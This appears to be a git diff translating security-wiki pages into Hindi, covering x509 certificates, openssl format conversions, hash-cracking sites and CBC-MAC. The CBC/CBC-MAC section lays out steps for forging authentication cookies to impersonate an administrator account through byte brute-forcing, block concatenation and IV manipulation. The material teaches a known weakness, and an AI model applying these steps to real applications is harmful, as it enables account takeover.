|
||||
ये प्रथाएँ और तंत्र उन सभी के लिए मौलिक हैं जो गोपनीयता और सुरक्षा को प्राथमिकता देते हुए क्रिप्टोक्यूरेंसी के साथ संलग्न होना चाहते हैं।
|
||||
|
||||
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
|
||||
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||
|
||||
@ -2,46 +2,37 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
|
||||
|
||||
## What is a Certificate
|
||||
|
||||
A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible.
|
||||
A **public key certificate** एक डिजिटल आईडी है जिसका उपयोग क्रिप्टोग्राफी में किसी के सार्वजनिक कुंजी के स्वामित्व को साबित करने के लिए किया जाता है। इसमें कुंजी के विवरण, मालिक की पहचान (विषय), और एक विश्वसनीय प्राधिकरण (जारीकर्ता) से डिजिटल हस्ताक्षर शामिल होता है। यदि सॉफ़्टवेयर जारीकर्ता पर भरोसा करता है और हस्ताक्षर मान्य है, तो कुंजी के मालिक के साथ सुरक्षित संचार संभव है।
|
||||
|
||||
Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280.
|
||||
Certificates ज्यादातर [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) द्वारा [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) सेटअप में जारी किए जाते हैं। एक अन्य विधि [web of trust](https://en.wikipedia.org/wiki/Web_of_trust) है, जहां उपयोगकर्ता सीधे एक-दूसरे की कुंजी की पुष्टि करते हैं। Certificates के लिए सामान्य प्रारूप [X.509](https://en.wikipedia.org/wiki/X.509) है, जिसे RFC 5280 में वर्णित विशिष्ट आवश्यकताओं के लिए अनुकूलित किया जा सकता है।
|
||||
|
||||
## x509 Common Fields
|
||||
|
||||
### **Common Fields in x509 Certificates**
|
||||
|
||||
In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
|
||||
x509 certificates में, कई **fields** प्रमाणपत्र की वैधता और सुरक्षा सुनिश्चित करने में महत्वपूर्ण भूमिका निभाते हैं। इन fields का विवरण इस प्रकार है:
|
||||
|
||||
- **Version Number** signifies the x509 format's version.
|
||||
- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
|
||||
- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
|
||||
- **Common Name (CN)**: Domains covered by the certificate.
|
||||
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
|
||||
- **Distinguished Name (DN)** encapsulates the full subject identification.
|
||||
- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
|
||||
- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
|
||||
- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
|
||||
- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
|
||||
- **Version Number** x509 प्रारूप के संस्करण को दर्शाता है।
|
||||
- **Serial Number** प्रमाणपत्र को एक Certificate Authority (CA) प्रणाली के भीतर अद्वितीय रूप से पहचानता है, मुख्य रूप से रद्दीकरण ट्रैकिंग के लिए।
|
||||
- **Subject** field प्रमाणपत्र के मालिक का प्रतिनिधित्व करता है, जो एक मशीन, एक व्यक्ति, या एक संगठन हो सकता है। इसमें विस्तृत पहचान शामिल है जैसे:
|
||||
- **Common Name (CN)**: प्रमाणपत्र द्वारा कवर किए गए डोमेन।
|
||||
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, और **Organizational Unit (OU)** भौगोलिक और संगठनात्मक विवरण प्रदान करते हैं।
|
||||
- **Distinguished Name (DN)** पूर्ण विषय पहचान को संक्षिप्त करता है।
|
||||
- **Issuer** विवरण देता है कि किसने प्रमाणपत्र की पुष्टि की और हस्ताक्षर किए, जिसमें CA के लिए विषय के समान उपक्षेत्र शामिल हैं।
|
||||
- **Validity Period** को **Not Before** और **Not After** टाइमस्टैम्प द्वारा चिह्नित किया जाता है, यह सुनिश्चित करते हुए कि प्रमाणपत्र को किसी निश्चित तिथि से पहले या बाद में उपयोग नहीं किया जाता है।
|
||||
- **Public Key** अनुभाग, जो प्रमाणपत्र की सुरक्षा के लिए महत्वपूर्ण है, सार्वजनिक कुंजी के एल्गोरिदम, आकार, और अन्य तकनीकी विवरण निर्दिष्ट करता है।
|
||||
- **x509v3 extensions** प्रमाणपत्र की कार्यक्षमता को बढ़ाते हैं, **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, और अन्य गुणों को निर्दिष्ट करते हैं ताकि प्रमाणपत्र के आवेदन को ठीक से समायोजित किया जा सके।
|
||||
|
||||
#### **Key Usage and Extensions**
|
||||
|
||||
- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
|
||||
- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
|
||||
- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
|
||||
- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
|
||||
- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
|
||||
- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
|
||||
|
||||
- **Key Usage** सार्वजनिक कुंजी के क्रिप्टोग्राफिक अनुप्रयोगों की पहचान करता है, जैसे डिजिटल हस्ताक्षर या कुंजी एन्क्रिप्शन।
|
||||
- **Extended Key Usage** प्रमाणपत्र के उपयोग के मामलों को और संकीर्ण करता है, जैसे कि TLS सर्वर प्रमाणीकरण के लिए।
|
||||
- **Subject Alternative Name** और **Basic Constraint** प्रमाणपत्र द्वारा कवर किए गए अतिरिक्त होस्ट नामों और यह कि क्या यह एक CA या अंत-इकाई प्रमाणपत्र है, को परिभाषित करते हैं।
|
||||
- **Subject Key Identifier** और **Authority Key Identifier** जैसे पहचानकर्ता कुंजी की अद्वितीयता और ट्रेसबिलिटी सुनिश्चित करते हैं।
|
||||
- **Authority Information Access** और **CRL Distribution Points** जारीकर्ता CA की पुष्टि करने और प्रमाणपत्र रद्दीकरण स्थिति की जांच करने के लिए पथ प्रदान करते हैं।
|
||||
- **CT Precertificate SCTs** पारदर्शिता लॉग प्रदान करते हैं, जो प्रमाणपत्र में सार्वजनिक विश्वास के लिए महत्वपूर्ण हैं।
|
||||
```python
|
||||
# Example of accessing and using x509 certificate fields programmatically:
|
||||
from cryptography import x509
|
||||
@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend
|
||||
|
||||
# Load an x509 certificate (assuming cert.pem is a certificate file)
|
||||
with open("cert.pem", "rb") as file:
|
||||
cert_data = file.read()
|
||||
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
|
||||
cert_data = file.read()
|
||||
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
|
||||
|
||||
# Accessing fields
|
||||
serial_number = certificate.serial_number
|
||||
@ -63,160 +54,123 @@ print(f"Issuer: {issuer}")
|
||||
print(f"Subject: {subject}")
|
||||
print(f"Public Key: {public_key}")
|
||||
```
|
||||
### **OCSP और CRL वितरण बिंदुओं के बीच का अंतर**
|
||||
|
||||
### **Difference between OCSP and CRL Distribution Points**
|
||||
**OCSP** (**RFC 2560**) में एक क्लाइंट और एक रिस्पॉन्डर मिलकर काम करते हैं यह जांचने के लिए कि क्या एक डिजिटल पब्लिक-की सर्टिफिकेट को रद्द किया गया है, बिना पूर्ण **CRL** डाउनलोड किए। यह विधि पारंपरिक **CRL** की तुलना में अधिक कुशल है, जो रद्द किए गए सर्टिफिकेट सीरियल नंबरों की एक सूची प्रदान करती है लेकिन एक संभावित बड़े फ़ाइल को डाउनलोड करने की आवश्यकता होती है। CRLs में 512 प्रविष्टियाँ तक हो सकती हैं। अधिक विवरण [यहाँ](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm) उपलब्ध हैं।
|
||||
|
||||
**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
|
||||
### **सर्टिफिकेट ट्रांसपेरेंसी क्या है**
|
||||
|
||||
### **What is Certificate Transparency**
|
||||
सर्टिफिकेट ट्रांसपेरेंसी सर्टिफिकेट से संबंधित खतरों से लड़ने में मदद करती है यह सुनिश्चित करके कि SSL सर्टिफिकेट का जारी होना और अस्तित्व डोमेन मालिकों, CAs, और उपयोगकर्ताओं के लिए दृश्य है। इसके उद्देश्य हैं:
|
||||
|
||||
Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are:
|
||||
- CAs को डोमेन मालिक की जानकारी के बिना एक डोमेन के लिए SSL सर्टिफिकेट जारी करने से रोकना।
|
||||
- गलती से या दुर्भावनापूर्ण तरीके से जारी किए गए सर्टिफिकेट को ट्रैक करने के लिए एक ओपन ऑडिटिंग सिस्टम स्थापित करना।
|
||||
- उपयोगकर्ताओं को धोखाधड़ी वाले सर्टिफिकेट से सुरक्षित रखना।
|
||||
|
||||
- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge.
|
||||
- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
|
||||
- Safeguarding users against fraudulent certificates.
|
||||
#### **सर्टिफिकेट लॉग्स**
|
||||
|
||||
#### **Certificate Logs**
|
||||
सर्टिफिकेट लॉग्स सार्वजनिक रूप से ऑडिट करने योग्य, केवल जोड़ने योग्य रिकॉर्ड होते हैं, जो नेटवर्क सेवाओं द्वारा बनाए रखे जाते हैं। ये लॉग ऑडिटिंग उद्देश्यों के लिए क्रिप्टोग्राफिक प्रमाण प्रदान करते हैं। जारी करने वाली प्राधिकरण और जनता दोनों इन लॉग्स में सर्टिफिकेट जमा कर सकते हैं या सत्यापन के लिए उन्हें क्वेरी कर सकते हैं। जबकि लॉग सर्वरों की सटीक संख्या निश्चित नहीं है, यह अपेक्षित है कि यह वैश्विक स्तर पर एक हजार से कम हो। ये सर्वर CAs, ISPs, या किसी भी इच्छुक इकाई द्वारा स्वतंत्र रूप से प्रबंधित किए जा सकते हैं।
|
||||
|
||||
Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity.
|
||||
#### **क्वेरी**
|
||||
|
||||
#### **Query**
|
||||
किसी भी डोमेन के लिए सर्टिफिकेट ट्रांसपेरेंसी लॉग्स का अन्वेषण करने के लिए, [https://crt.sh/](https://crt.sh) पर जाएँ।
|
||||
|
||||
To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh).
|
||||
सर्टिफिकेट को स्टोर करने के लिए विभिन्न प्रारूप मौजूद हैं, प्रत्येक के अपने उपयोग के मामले और संगतता होती है। यह सारांश मुख्य प्रारूपों को कवर करता है और उनके बीच रूपांतरण के लिए मार्गदर्शन प्रदान करता है।
|
||||
|
||||
Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them.
|
||||
## **प्रारूप**
|
||||
|
||||
## **Formats**
|
||||
### **PEM प्रारूप**
|
||||
|
||||
### **PEM Format**
|
||||
- सर्टिफिकेट के लिए सबसे व्यापक रूप से उपयोग किया जाने वाला प्रारूप।
|
||||
- सर्टिफिकेट और प्राइवेट की के लिए अलग फ़ाइलों की आवश्यकता होती है, जो Base64 ASCII में एन्कोडेड होती हैं।
|
||||
- सामान्य एक्सटेंशन: .cer, .crt, .pem, .key।
|
||||
- मुख्य रूप से Apache और समान सर्वरों द्वारा उपयोग किया जाता है।
|
||||
|
||||
- Most widely used format for certificates.
|
||||
- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
|
||||
- Common extensions: .cer, .crt, .pem, .key.
|
||||
- Primarily used by Apache and similar servers.
|
||||
### **DER प्रारूप**
|
||||
|
||||
### **DER Format**
|
||||
- सर्टिफिकेट का एक बाइनरी प्रारूप।
|
||||
- PEM फ़ाइलों में पाए जाने वाले "BEGIN/END CERTIFICATE" बयानों की कमी है।
|
||||
- सामान्य एक्सटेंशन: .cer, .der।
|
||||
- अक्सर Java प्लेटफार्मों के साथ उपयोग किया जाता है।
|
||||
|
||||
- A binary format of certificates.
|
||||
- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
|
||||
- Common extensions: .cer, .der.
|
||||
- Often used with Java platforms.
|
||||
### **P7B/PKCS#7 प्रारूप**
|
||||
|
||||
### **P7B/PKCS#7 Format**
|
||||
- Base64 ASCII में स्टोर किया गया, एक्सटेंशन .p7b या .p7c के साथ।
|
||||
- केवल सर्टिफिकेट और चेन सर्टिफिकेट शामिल होते हैं, प्राइवेट की को छोड़कर।
|
||||
- Microsoft Windows और Java Tomcat द्वारा समर्थित।
|
||||
|
||||
- Stored in Base64 ASCII, with extensions .p7b or .p7c.
|
||||
- Contains only certificates and chain certificates, excluding the private key.
|
||||
- Supported by Microsoft Windows and Java Tomcat.
|
||||
### **PFX/P12/PKCS#12 प्रारूप**
|
||||
|
||||
### **PFX/P12/PKCS#12 Format**
|
||||
- एक बाइनरी प्रारूप जो सर्वर सर्टिफिकेट, मध्यवर्ती सर्टिफिकेट, और प्राइवेट की को एक फ़ाइल में संलग्न करता है।
|
||||
- एक्सटेंशन: .pfx, .p12।
|
||||
- मुख्य रूप से Windows पर सर्टिफिकेट आयात और निर्यात के लिए उपयोग किया जाता है।
|
||||
|
||||
- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file.
|
||||
- Extensions: .pfx, .p12.
|
||||
- Mainly used on Windows for certificate import and export.
|
||||
### **प्रारूपों का रूपांतरण**
|
||||
|
||||
### **Converting Formats**
|
||||
|
||||
**PEM conversions** are essential for compatibility:
|
||||
|
||||
- **x509 to PEM**
|
||||
**PEM रूपांतरण** संगतता के लिए आवश्यक हैं:
|
||||
|
||||
- **x509 से PEM**
|
||||
```bash
|
||||
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
||||
```
|
||||
|
||||
- **PEM to DER**
|
||||
|
||||
- **PEM से DER**
|
||||
```bash
|
||||
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||
```
|
||||
|
||||
- **DER to PEM**
|
||||
|
||||
- **DER से PEM**
|
||||
```bash
|
||||
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||
```
|
||||
|
||||
- **PEM to P7B**
|
||||
|
||||
- **PEM से P7B**
|
||||
```bash
|
||||
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||
```
|
||||
|
||||
- **PKCS7 to PEM**
|
||||
|
||||
- **PKCS7 से PEM**
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||
```
|
||||
**PFX रूपांतरण** विंडोज़ पर प्रमाणपत्रों का प्रबंधन करने के लिए महत्वपूर्ण हैं:
|
||||
|
||||
**PFX conversions** are crucial for managing certificates on Windows:
|
||||
|
||||
- **PFX to PEM**
|
||||
|
||||
- **PFX से PEM**
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
||||
```
|
||||
|
||||
- **PFX to PKCS#8** involves two steps:
|
||||
1. Convert PFX to PEM
|
||||
|
||||
- **PFX से PKCS#8** में दो चरण शामिल हैं:
|
||||
1. PFX को PEM में परिवर्तित करें
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||
```
|
||||
|
||||
2. Convert PEM to PKCS8
|
||||
|
||||
2. PEM को PKCS8 में परिवर्तित करें
|
||||
```bash
|
||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||
```
|
||||
|
||||
- **P7B to PFX** also requires two commands:
|
||||
1. Convert P7B to CER
|
||||
|
||||
- **P7B to PFX** के लिए भी दो कमांड की आवश्यकता होती है:
|
||||
1. P7B को CER में परिवर्तित करें
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||
```
|
||||
|
||||
2. Convert CER and Private Key to PFX
|
||||
|
||||
2. CER और प्राइवेट की को PFX में परिवर्तित करें
|
||||
```bash
|
||||
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||
```
|
||||
|
||||
- **ASN.1 (DER/PEM) editing** (works with certificates or almost any other ASN.1 structure):
|
||||
1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/)
|
||||
|
||||
- **ASN.1 (DER/PEM) संपादन** (प्रमाणपत्रों या लगभग किसी अन्य ASN.1 संरचना के साथ काम करता है):
|
||||
1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/)
|
||||
```bash
|
||||
git clone https://github.com/wllm-rbnt/asn1template.git
|
||||
```
|
||||
|
||||
2. Convert DER/PEM to OpenSSL's generation format
|
||||
|
||||
2. DER/PEM को OpenSSL के निर्माण प्रारूप में परिवर्तित करें
|
||||
```bash
|
||||
asn1template/asn1template.pl certificatename.der > certificatename.tpl
|
||||
asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl
|
||||
```
|
||||
|
||||
3. Edit certificatename.tpl according to your requirements
|
||||
|
||||
3. certificatename.tpl को अपनी आवश्यकताओं के अनुसार संपादित करें
|
||||
```bash
|
||||
vim certificatename.tpl
|
||||
```
|
||||
|
||||
4. Rebuild the modified certificate
|
||||
|
||||
4. संशोधित प्रमाणपत्र को पुनर्निर्माण करें
|
||||
```bash
|
||||
openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der
|
||||
openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,54 +2,54 @@
|
||||
|
||||
# CBC
|
||||
|
||||
If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie.
|
||||
यदि **कुकी** **केवल** **उपयोगकर्ता नाम** है (या कुकी का पहला भाग उपयोगकर्ता नाम है) और आप उपयोगकर्ता नाम "**admin**" का अनुकरण करना चाहते हैं। तो, आप उपयोगकर्ता नाम **"bdmin"** बना सकते हैं और कुकी के **पहले बाइट** को **ब्रूटफोर्स** कर सकते हैं।
|
||||
|
||||
# CBC-MAC
|
||||
|
||||
**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security.
|
||||
**साइफर ब्लॉक चेनिंग मैसेज ऑथेंटिकेशन कोड** (**CBC-MAC**) एक विधि है जो क्रिप्टोग्राफी में उपयोग की जाती है। यह एक संदेश को लेती है और इसे ब्लॉक दर ब्लॉक एन्क्रिप्ट करती है, जहां प्रत्येक ब्लॉक का एन्क्रिप्शन पिछले ब्लॉक से जुड़ा होता है। यह प्रक्रिया एक **ब्लॉकों की श्रृंखला** बनाती है, यह सुनिश्चित करते हुए कि मूल संदेश के एक भी बिट को बदलने से एन्क्रिप्टेड डेटा के अंतिम ब्लॉक में अप्रत्याशित परिवर्तन होगा। ऐसा परिवर्तन करने या उलटने के लिए एन्क्रिप्शन कुंजी की आवश्यकता होती है, जो सुरक्षा सुनिश्चित करती है।
|
||||
|
||||
To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks using a secret key k and a block cipher E:
|
||||
संदेश m का CBC-MAC निकालने के लिए, m को शून्य प्रारंभिक वेक्टर के साथ CBC मोड में एन्क्रिप्ट किया जाता है और अंतिम ब्लॉक को रखा जाता है। निम्नलिखित चित्र एक संदेश के CBC-MAC की गणना को दर्शाता है जिसमें ब्लॉक शामिल हैं एक गुप्त कुंजी k और एक ब्लॉक साइफर E का उपयोग करते हुए:
|
||||
|
||||
.svg/570px-CBC-MAC_structure_(en).svg.png>)
|
||||
|
||||
# Vulnerability
|
||||
|
||||
With CBC-MAC usually the **IV used is 0**.\
|
||||
This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So:
|
||||
CBC-MAC के साथ आमतौर पर **IV का उपयोग 0** होता है।\
|
||||
यह एक समस्या है क्योंकि 2 ज्ञात संदेश (`m1` और `m2`) स्वतंत्र रूप से 2 हस्ताक्षर (`s1` और `s2`) उत्पन्न करेंगे। तो:
|
||||
|
||||
- `E(m1 XOR 0) = s1`
|
||||
- `E(m2 XOR 0) = s2`
|
||||
|
||||
Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32):
|
||||
फिर m1 और m2 के संयोजन से बना एक संदेश (m3) 2 हस्ताक्षर (s31 और s32) उत्पन्न करेगा:
|
||||
|
||||
- `E(m1 XOR 0) = s31 = s1`
|
||||
- `E(m2 XOR s1) = s32`
|
||||
|
||||
**Which is possible to calculate without knowing the key of the encryption.**
|
||||
**जिसे एन्क्रिप्शन की कुंजी को जाने बिना गणना करना संभव है।**
|
||||
|
||||
Imagine you are encrypting the name **Administrator** in **8bytes** blocks:
|
||||
कल्पना करें कि आप नाम **Administrator** को **8bytes** ब्लॉकों में एन्क्रिप्ट कर रहे हैं:
|
||||
|
||||
- `Administ`
|
||||
- `rator\00\00\00`
|
||||
|
||||
You can create a username called **Administ** (m1) and retrieve the signature (s1).\
|
||||
Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\
|
||||
now, you can use s32 as the signature of the full name **Administrator**.
|
||||
आप एक उपयोगकर्ता नाम **Administ** (m1) बना सकते हैं और हस्ताक्षर (s1) प्राप्त कर सकते हैं।\
|
||||
फिर, आप एक उपयोगकर्ता नाम बना सकते हैं जो `rator\00\00\00 XOR s1` का परिणाम है। यह `E(m2 XOR s1 XOR 0)` उत्पन्न करेगा जो s32 है।\
|
||||
अब, आप s32 का उपयोग पूर्ण नाम **Administrator** के हस्ताक्षर के रूप में कर सकते हैं।
|
||||
|
||||
### Summary
|
||||
|
||||
1. Get the signature of username **Administ** (m1) which is s1
|
||||
2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.**
|
||||
3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**.
|
||||
1. उपयोगकर्ता नाम **Administ** (m1) का हस्ताक्षर प्राप्त करें जो s1 है
|
||||
2. उपयोगकर्ता नाम **rator\x00\x00\x00 XOR s1 XOR 0** का हस्ताक्षर प्राप्त करें जो s32 है।
|
||||
3. कुकी को s32 पर सेट करें और यह उपयोगकर्ता **Administrator** के लिए एक मान्य कुकी होगी।
|
||||
|
||||
# Attack Controlling IV
|
||||
|
||||
If you can control the used IV the attack could be very easy.\
|
||||
If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\
|
||||
Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**.
|
||||
यदि आप उपयोग किए गए IV को नियंत्रित कर सकते हैं तो हमला बहुत आसान हो सकता है।\
|
||||
यदि कुकी केवल उपयोगकर्ता नाम एन्क्रिप्टेड है, तो उपयोगकर्ता "**administrator**" का अनुकरण करने के लिए आप उपयोगकर्ता "**Administrator**" बना सकते हैं और आपको इसकी कुकी मिल जाएगी।\
|
||||
अब, यदि आप IV को नियंत्रित कर सकते हैं, तो आप IV के पहले बाइट को बदल सकते हैं ताकि **IV\[0] XOR "A" == IV'\[0] XOR "a"** और उपयोगकर्ता **Administrator** के लिए कुकी को फिर से उत्पन्न कर सकें। यह कुकी प्रारंभिक **IV** के साथ उपयोगकर्ता **administrator** का अनुकरण करने के लिए मान्य होगी।
|
||||
|
||||
## References
|
||||
|
||||
More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
|
||||
अधिक जानकारी के लिए [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Online Hashes DBs
|
||||
|
||||
- _**Google it**_
|
||||
- _**गूगल करें**_
|
||||
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
|
||||
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
|
||||
- [https://crackstation.net/](https://crackstation.net)
|
||||
@ -19,7 +19,7 @@
|
||||
## Magic Autosolvers
|
||||
|
||||
- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
|
||||
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module)
|
||||
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (जादुई मॉड्यूल)
|
||||
- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
|
||||
|
||||
@ -33,7 +33,7 @@ Most of encoded data can be decoded with these 2 ressources:
|
||||
### Substitution Autosolvers
|
||||
|
||||
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
|
||||
- [https://quipqiup.com/](https://quipqiup.com) - Very good !
|
||||
- [https://quipqiup.com/](https://quipqiup.com) - बहुत अच्छा !
|
||||
|
||||
#### Caesar - ROTx Autosolvers
|
||||
|
||||
@ -48,92 +48,87 @@ Most of encoded data can be decoded with these 2 ressources:
|
||||
Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
|
||||
- **Ascii85**
|
||||
- `BQ%]q@psCd@rH0l`
|
||||
- `BQ%]q@psCd@rH0l`
|
||||
- **Base26** \[_A-Z_]
|
||||
- `BQEKGAHRJKHQMVZGKUXNT`
|
||||
- `BQEKGAHRJKHQMVZGKUXNT`
|
||||
- **Base32** \[_A-Z2-7=_]
|
||||
- `NBXWYYLDMFZGCY3PNRQQ====`
|
||||
- `NBXWYYLDMFZGCY3PNRQQ====`
|
||||
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
|
||||
- `pbzsaamdcf3gna5xptoo====`
|
||||
- `pbzsaamdcf3gna5xptoo====`
|
||||
- **Base32 Geohash** \[_0-9b-hjkmnp-z_]
|
||||
- `e1rqssc3d5t62svgejhh====`
|
||||
- `e1rqssc3d5t62svgejhh====`
|
||||
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
|
||||
- `D1QPRRB3C5S62RVFDHGG====`
|
||||
- `D1QPRRB3C5S62RVFDHGG====`
|
||||
- **Base32 Extended Hexadecimal** \[_0-9A-V_]
|
||||
- `D1NMOOB3C5P62ORFDHGG====`
|
||||
- `D1NMOOB3C5P62ORFDHGG====`
|
||||
- **Base45** \[_0-9A-Z $%\*+-./:_]
|
||||
